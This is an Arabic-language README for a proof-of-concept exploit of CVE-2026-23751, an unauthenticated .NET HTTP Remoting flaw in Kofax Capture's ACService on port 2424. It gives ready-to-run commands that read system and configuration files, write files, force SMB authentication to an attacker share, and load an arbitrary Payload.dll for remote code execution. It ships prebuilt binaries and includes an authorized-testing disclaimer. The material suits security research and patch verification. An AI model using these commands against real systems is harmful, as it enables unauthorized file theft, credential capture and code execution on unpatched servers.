
تم تعديل RemotingClient لاستغلال CVE-2026-23751 (Tungsten Automation - Kofax Capture قراءة/كتابة ملفات دون مصادقة، وتنفيذ تعليمات برمجية عن بُعد، وإجبار SMB عبر .NET HTTP Remoting)
تنفيذ إثبات مفهوم (Proof-of-concept) لتقنية .NET HTTP Remoting الموصوفة في مشروع NewRemotingTricks الخاص بـ Code White، والتي تستهدف Tungsten Automation Kofax Capture.
العنوان: قراءة/كتابة ملفات غير مصادق عليها وتنفيذ أوامر في Tungsten Automation Kofax Capture عبر .NET HTTP Remoting
CVE: CVE-2026-23751
مؤلفو هذا PoC (وليس الـ CVE): Filip Sanders، Siebren Kraak
تؤثر CVE-2026-23751 على Tungsten Automation Kofax Capture وتسمح لمهاجم بعيد غير مصادق عليه بالتفاعل مع نقطة نهاية .NET HTTP Remoting التي يكشف عنها ACService الخاص بـ Kofax Capture.
يمكن استغلال الثغرة لتنفيذ عمليات في سياق الأمان الخاص بخدمة Kofax Capture، بما في ذلك:
يعيد الـ PoC تنفيذ تقنية .NET Remoting ذات الصلة من مشروع NewRemotingTricks الخاص بـ Code White.
يستهدف الـ PoC نقطة نهاية HTTP Remoting الخاصة بـ ACService في Kofax Capture:
http://<target>:2424/ACService
المنفذ 2424 هو منفذ HTTP Remoting الافتراضي الذي تستخدمه الخدمة المتأثرة.
يدعم PoC ثلاث عمليات:
read
write
exec
الصيغة العامة هي:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
يقرأ المثال التالي ملف hosts الخاص بـ Windows من الهدف:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
يمكن بالمثل قراءة ملف تكوين Kofax Capture:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
يمكن أيضًا الوصول إلى الموارد البعيدة باستخدام معرّف URI من نوع file://:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
تُكتب المحتويات التي يعيدها WebClient البعيد إلى المخرجات القياسية.
يمكن كتابة ملف إلى موقع يمكن لخدمة Kofax Capture الوصول إليه من خلال توفير المسار الهدف متبوعًا بالمحتوى:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
يتم ترميز المحتوى المُقدَّم بترميز UTF-8 وتحميله باستخدام WebClient المُنشأ عن بُعد.
يمكن استخدام الوظيفة نفسها مع مسار UNC للكتابة إلى مشاركة SMB بعيدة:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
تعتمد القدرة على الوصول إلى المورد البعيد على الأذونات وسياق الأمان الخاص بخدمة Kofax Capture.
يمكن استخدام العملية read مع مورد file:// بعيد لجعل الهدف يصل إلى مورد SMB يتحكم فيه المهاجم:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
قد يتسبب هذا في قيام المضيف المتأثر بالمصادقة إلى خادم SMB الذي يتحكم فيه المهاجم، اعتمادًا على بيئة الهدف وتكوين الأمان الخاص بها.
يمكن استخدام عملية exec لتنفيذ تجميعة .NET مقدمة في سياق خدمة Kofax Capture البعيدة.
يتم أولاً رفع التجميعة إلى الهدف ثم تحميلها باستخدام AssemblyInstaller المُنشأ عن بُعد:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
يُستخدم المسار المُقدَّم كوجهة للتجميعة التي تم رفعها، ثم يُمرَّر لاحقًا إلى AssemblyInstaller البعيد. تُحمَّل التجميعة على جانب الخادم وتُثبَّت عبر آلية التثبيت الخاصة بـ .NET Framework.
بعد التنفيذ، يقرأ PoC مخرجات التنفيذ من:
C:\Windows\Temp\pwn_out.txt
يعتمد السلوك الدقيق للـ payload على محتويات Payload.dll.
تتضمن الثغرة استخدام .NET HTTP Remoting من قبل ACService الخاص بـ Kofax Capture.
يوفر .NET Remoting آليات للتواصل مع مثيلات MarshalByRefObject البعيدة. ومن خلال التفاعل مع نقطة نهاية remoting المكشوفة والتلاعب بسياق الاستدعاء المنطقي، يمكن للـ PoC الحصول على مثيلات بعيدة من فئات .NET Framework التي ترث من MarshalByRefObject.
يستخدم الـ PoC هذا السلوك للحصول على مثيلات بعيدة من:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
يمكن بعد ذلك استخدام WebClient المُنشأ عن بُعد لتنفيذ عمليات على نظام الملفات والشبكة من سياق خدمة Kofax Capture.
لتنفيذ الأوامر، يقوم PoC برفع Payload.dll باستخدام WebClient البعيد، ويحصل على AssemblyInstaller بعيد، ويضبط مسار التجميعة الخاصة به، ويستدعي آلية التثبيت. يؤدي ذلك إلى تحميل التجميعة المُقدَّمة وتنفيذها على الهدف.
وبالتالي يُظهر PoC البدائيات التالية:
MarshalByRefObjectتعمل وظيفة write حاليًا على بيانات نصية مُرمَّزة بترميز UTF-8. يمكن دعم أنواع ملفات إضافية وتنسيقات حِمل إضافية عبر تعديل الشيفرة المصدرية.
ACService الخاص بـ Kofax Capture على الهدفRemotingClient_MBRO_Lazy.exePayload.dll عند استخدام عملية execلا يُشترط أي مصادقة على خدمة Kofax Capture لاستغلال الثغرة.
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
يُقدَّم هذا المستودع لأغراض البحث الأمني، والتحقق من الثغرات، واختبار الاختراق المصرَّح به فقط.
لا تستخدم هذا PoC ضد أنظمة دون تصريح صريح. المؤلفون غير مسؤولين عن أي أضرار أو فقدان بيانات أو وصول غير مصرَّح به أو أي عواقب أخرى ناتجة عن إساءة استخدام هذا البرنامج.